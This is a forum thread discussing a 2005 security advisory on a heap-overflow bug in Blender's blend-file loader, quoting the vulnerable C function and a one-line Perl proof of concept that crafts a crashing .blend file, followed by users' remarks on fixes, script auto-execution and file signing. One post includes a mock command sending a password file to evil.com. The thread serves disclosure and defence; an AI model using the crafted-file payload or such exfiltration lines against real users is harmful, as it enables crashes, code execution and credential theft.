Blender Security Issue

[kirpre]

The IT Admin guy at work just passed this Blender security issue onto me. Is there a known solution to this in the works:

Code: Select all

Overflow.pl Security Advisory #4

Blender BlenLoader Integer Overflow

Vendor: Blender (http://www.blender.org)
Affected version: 2.x up to and including 2.40pre
Vendor status: Notified. No patch available.

Author: Damian Put <pucik@overflow.pl>
URL: http://www.overflow.pl/adv/blenderinteger.txt
Date: 20.12.2005

1. Background

Blender is the open source software for 3D modeling, animation, rendering, post-production, interactive creation and playback. Available for all major operating systems under the GNU Public License.

http://www.blender.org


2. Description

Remote exploitation of an integer overflow vulnerability could allow execution of arbitrary code or cause denial of service.

An integer overflow leading to heap overflow, exists in get_bhead() function, that is used to read blend file structure. It is part of BlenLoader.

The vulnerable code is:

source/blender/blenloader/intern/readfile.c:

static BHeadN *get_bhead(FileData *fd)
{
      BHead8 bhead8;
      BHead4 bhead4;
      BHead  bhead;
      BHeadN *new_bhead = 0;
      int readsize;
...
      if ( ! fd->eof) {
            new_bhead = MEM_mallocN(sizeof(BHeadN) + bhead.len, "new_bhead");
            if (new_bhead) {
                  new_bhead->next = new_bhead->prev = 0;
                  new_bhead->bhead = bhead;
                  readsize = fd->read(fd, new_bhead + 1, bhead.len);

                  if (readsize != bhead.len) {
                        fd->eof = 1;
                        MEM_freeN(new_bhead);
                  }
            } else {
                  fd->eof = 1;
            }
      }
...
      return(new_bhead);
}


We can manipulate with bhead.len value, because it read from blend file. Allocation of memory for new_bhead is based on bhead.len variable (MEM_mallocN() call). If value of "bhead.len" is for example -16, we allocate only 12 bytes of memory (-16 + sizeof(BHeadN)). In next part of execution it can lead to heap overflow many times.


3. PoC

Example crafted blend file:

[root@overflow]# perl -e 'print "BLENDER_v273"; print "\xf0\xff\xff\xff"x10' > vuln.blend

Now we must only load crafted file with blender:

[root@overflow]# blender vuln.blend
Using Python version 2.4
Memoryblock new_bhead: end corrupt
Memoryblock new_bhead: end corrupt
*** glibc detected *** malloc(): memory corruption: 0x0875eae8 *** Abort (core dumped) [root@overflow]#

[z3r0_d]

Is there a known solution to this in the works?

change "int" to "unsigned int"?

it doesn't appear that the developers focus on security much from the mailing list...

[joeri]

Wauw what a difficult way to cause security issues.

As far as I know any blender file can automaticly run any python command (if full python is installed on users machine); including "format d:*.*" and "send /etc/.passwords > boss@evil.com"

Without full python installed many many distructive things can be done on every framechange or redraw, making it impossible to load a file from the web and check it before you run the python on it.

So if security is an issue then don't LOAD any files you don't know.
Fortunatly the blender file is impossible to comprehend making it hard for hakzors to place trojans into your .blend files.

[konrad_ha]

I didn't ever think about Blender as a security issue.

Although I seems currently highly unlikely to be attacked through .blend-files this might become more likely in the future.

It makes me wonder whether there are even thoughts about security when it comes to the verse-integration.

[ysvry]

its a good point raised , well done kirpre

[SirDude]

I just commited a fix for this to cvs.

Thanks,

Kent

[an-toni]

the current solution to the prob w/ malicous bpython is that scriptlinks are off by default in b.blend.. more and better is open for ideas!

among mentioned so far: a confimation dialogue for automatically executed scripts, a trust system so that only scripts from trusted authors can be run without asking, .. it is difficult :/

~Toni

[joeri]

If it would be an issue then some .blend sniffer might help.
A program that can load untrusted .blend files and show security risks of that file.
No bpython; 2% risk | only blender python, 5% risk | disk bpython, 10% risk | system calls, 80% risk.

Just making them up.
But a program ( or a window in blender ), that shows all codes with syntax highlights, might help. Personally I don't really care. I rarely try other peoples files. But with orange you'll never know.
The B key had the nice feature of signing files. If this could be done then the BF could sign orange files, and I could trust them more easaly.
Maybe there is 2 key encryption software? One to lock a file and one to open it?

[MrMunkily]

can't gpg do that?

(well, the opposite of it anyhow.)